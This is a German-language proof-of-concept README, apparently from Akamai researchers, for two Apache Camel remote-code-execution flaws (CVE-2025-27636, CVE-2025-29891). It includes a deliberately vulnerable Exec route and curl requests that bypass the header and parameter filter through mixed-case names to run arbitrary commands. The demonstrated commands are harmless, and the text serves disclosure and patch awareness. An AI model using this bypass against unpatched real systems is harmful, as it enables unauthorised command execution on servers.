
Proof-of-Concept zur Demonstration von Remote-Code-Ausführung in Apache Camel durch Ausnutzung von Umgehungen der Header- und Parameterfilterung (CVE-2025-27636, CVE-2025-29891) über die Exec-Komponente.
CVE-2025–27636 und CVE-2025-29891 sind Sicherheitslücken in Apache Camel, die folgende Versionen betreffen: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. Die Ausnutzung dieser Schwachstellen kann Angreifern ermöglichen, interne Camel-Methoden auszuführen.
Das Folgende ist eine beispielhafte angreifbare Anwendung, die die Camel Exec-Komponente verwendet, die ausgenutzt werden kann, um RCE zu erreichen. Andere Camel-Komponenten könnten auf ähnliche Weise ausgenutzt werden.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
Die App stellt einen HTTP-Endpunkt bereit, der dazu dient, den Befehl "whoami" auszuführen und das Ergebnis an den Client zurückzugeben. Die "Exec"-Camel-Komponente ist so konfiguriert, dass sie den Befehl ausführt, der statisch im Code definiert ist.
// empfange Anfrage vom Client und leite sie an die "Exec"-Camel-Komponente weiter
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Anfrage vom Client empfangen")
// definiere einen statischen Befehl. Dieser kann mit dem Header "CamelExecCommandExecutable" überschrieben werden
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Befehlsausgabe: ${body}");
Obwohl der Befehl statisch ist, können wir ihn überschreiben, indem wir den Header CamelExecCommandExecutable übergeben, der (wie in der Dokumentation beschrieben) die statische URI überschreibt. Apache Camel soll solche Header eigentlich filtern, aber aufgrund einer fehlerhaften Behandlung der Groß-/Kleinschreibung umgeht die Übergabe des Headers "CAmelExecCommandExecutable" den Filter.
Die Ausführung des folgenden Befehls überschreibt den statischen Befehl "whoami" und führt stattdessen einen beliebigen Befehl aus:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
Wir können auch Argumente übergeben, indem wir den Header CamelExecCommandArgs angeben:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
Wenn wir den "normalen" Header übergeben, stellen wir fest, dass die Ausnutzung fehlschlägt und der statische Befehl "whoami" normal ausgeführt wird:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
Ursprünglich wurde angenommen, dass Anfrage-Header der einzige Ausnutzungsvektor seien. Das Sicherheitsforschungsteam von Akamai meldete dem Apache Camel-Entwicklungsteam jedoch einen zusätzlichen Vektor, was zur Zuweisung von CVE-2025-29891 führte. Dieses Problem hat dieselbe Ursache wie der Filterfehler von CVE-2025-27636 und ermöglicht es, interne Methoden über Anfrageparameter aufzurufen.
Im folgenden Beispiel sehen wir, dass die Angabe des Abfrageparameters „CAmelExecCommandExecutable“ zur Ausführung beliebiger Befehle führt – genau wie beim ursprünglichen Header-Vektor:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
Der ursprüngliche Patch, der zur Behebung von CVE-2025-27636 implementiert wurde, behebt auch dieses Problem. Anwendungen, die aktuelle Versionen von Apache Camel verwenden, sind daher nicht anfällig für diesen Ausnutzungsvektor.
Copyright 2025 Akamai Technologies Inc.
Lizenziert unter der Apache License, Version 2.0 (der "Lizenz"); Sie dürfen diese Datei nur in Übereinstimmung mit der Lizenz verwenden. Eine Kopie der Lizenz erhalten Sie unter
http://www.apache.org/licenses/LICENSE-2.0
Sofern nicht durch geltendes Recht vorgeschrieben oder schriftlich vereinbart, wird die Software unter der Lizenz "AS IS" BASIS OHNE GEWÄHRLEISTUNG ODER BEDINGUNGEN JEGLICHER ART, weder ausdrücklich noch stillschweigend, verteilt. Siehe die Lizenz für die spezifischen Regelungen zu Berechtigungen und Einschränkungen unter der Lizenz.